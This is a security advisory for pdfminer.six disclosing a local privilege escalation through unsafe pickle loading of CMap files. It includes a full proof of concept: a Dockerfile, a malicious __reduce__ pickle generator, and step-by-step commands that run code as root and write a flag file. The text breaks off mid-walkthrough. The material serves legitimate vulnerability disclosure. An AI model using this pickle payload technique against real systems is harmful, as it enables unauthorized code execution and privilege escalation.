GHSA-f83h-ghpp-7wcc Insecure Deserialization (pickle) in pdfminer.six CMap Loader — Local Privesc

• PyPI pdfminer.six: < 20251230 → fixed in 20251230

🚀 Overview This report demonstrates a real-world privilege escalation vulnerability in pdfminer.six due to unsafe usage of Python's `pickle` module for CMap file loading. It shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment. 🚨 Special Note This advisory addresses a distinct vulnerability from GHSA-wf5f-4jwr-ppcp (CVE-2025-64512). While the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit b808ee05dd7f0c8ea8ec34bdf394d40e63501086 does not address the vulnerability reported here. Based on testing performed against the latest version of the library (comparison view), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The Dockerfile is hence modified to run test against this claim. This demonstrates that the patch for CVE-2025-64512 is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on ```pickle``` 📚 Table of Contents • 🔍 Background • 🐍 Vulnerability Description • 🎭 Demo Scenario • 🧨 Technical Details • 🔧 Setup and Usage • 📝 Step-by-step Walkthrough • 🛡️ Security Standards & References --- 🔍 Background pdfminer.six is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's `pickle` module. > 🐍 Security Issue: > If the CMap search path (`CMAP_PATH` or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious `.pickle.gz` file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution. --- 🐍 Vulnerability Description • Component: pdfminer.six CMap loading (`pdfminer/cmapdb.py`) • Issue: Loads and deserializes `.pickle.gz` files using Python’s `pickle` module, which is unsafe for untrusted data. • Exploitability: If a low-privileged user can write to any directory in `CMAP_PATH`, they can execute code as the user running pdfminer—potentially root or a privileged service. • Impact: Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement. 🎭 Demo Scenario Environment: • 🐧 Alpine Linux (Docker container) • 👨‍💻 Two users: • `user1` (attacker: low-privilege) • `root` (victim: runs privileged PDF-processing script) • 🗂️ Shared writable directory: `/tmp/uploads` • 🛣️ `CMAP_PATH` set to `/tmp/uploads` for the privileged script • 📦 pdfminer.six installed system-wide Attack Flow: 1. 🕵️‍♂️ `user1` creates a malicious CMap file (`Evil.pickle.gz`) in `/tmp/uploads`. 2. 👑 The privileged service (`root`) processes a PDF or calls `get_cmap("Evil")`. 3. 💣 The malicious pickle is deserialized, running arbitrary code as root. 4. 🎯 The exploit creates a flag file in `/root/pwnedByPdfminer` as proof. 🧨 Technical Details • Vulnerability Type: Insecure deserialization of untrusted data using Python's `pickle` • Attack Prerequisites: Attacker can write to a directory included in `CMAP_PATH` • Vulnerable Line: ```python return type(str(name), (), pickle.loads(gzfile.read())) ``` *In `pdfminer/cmapdb.py`'s `_load_data` method* • https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246 • Proof of Concept: See `createEvilPickle.py`, `evilmod.py`, and `processPdf.py` Exploit Chain: • Attacker places a malicious `.pickle.gz` file in the CMap search path. • Privileged process (e.g., root) loads a CMap, triggering pickle deserialization. • Arbitrary code executes with the privilege of the process (root/service account). 🔧 Setup and Usage 📁 Files Dockerfile ```yml FROM python:3.11-alpine ARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086 Install git and build tooling RUN apk add --no-cache git build-base WORKDIR /opt Clone pdfminer.six and check out the specific commit, then install from source RUN git clone https://github.com/pdfminer/pdfminer.six.git && \ cd pdfminer.six && \ git fetch --all && \ git checkout ${PM_COMMIT} && \ pip install --no-cache-dir -e . App working directory for PoC WORKDIR /app Create low-privilege user and uploads dir RUN adduser -D user1 && \ mkdir -p /tmp/uploads && \ chown user1:user1 /tmp/uploads && \ chmod 1777 /tmp/uploads Copy PoC files COPY evilmod.py /app/evilmod.py COPY createEvilPickle.py /app/createEvilPickle.py COPY processPDF.py /app/processPDF.py ENV CMAP_PATH=/tmp/uploads ENV PYTHONUNBUFFERED=1 Keep the container running in background so you can exec into it anytime. CMD ["tail", "-f", "/dev/null"] ``` evilmod.py ```python import os def evilFunc(): with open("/root/pwnedByPdfminer", "w") as f: f.write("ROOTED by pdfminer pickle RCE\n") return {"CODE2CID": {}, "IS_VERTICAL": False} ``` createEvilPickle.py ```python import pickle import gzip from evilmod import evilFunc class Evil: def __reduce__(self): return (evilFunc, ()) payload = pickle.dumps(Evil()) with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f: f.write(payload) print("Malicious pickle created at /tmp/uploads/Evil.pickle.gz") ``` processPDF.py ```python import os from pdfminer.cmapdb import CMapDB os.environ["CMAP_PATH"] = "/tmp/uploads" CMapDB.get_cmap("Evil") print("CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.") ``` 1️⃣ Build and start the demo container ```bash docker build -t pdfminer-priv-esc-demo . docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ ``` 2️⃣ In the container, open two shells in parallel (or switch users in one): 🕵️‍♂️ Shell 1 (Attacker: user1) ```bash su user1 cd /app python createEvilPickle.py ✅ Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1 ``` 👑 Shell 2 (Victim: root) ```bash cd /app python processPdf.py 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created ``` 3️⃣ Proof of escalation ```bash cat /root/pwnedByPdfminer 🏴 Output: ROOTED by pdfminer pickle RCE ``` 📝 Step-by-step Walkthrough 1. user1 uses `createEvilPickle.py` to craft and place a malicious CMap pickle in a shared upload directory. 2. The root user runs a typical PDF-processing script, which loads CMap files from that directory. 3. …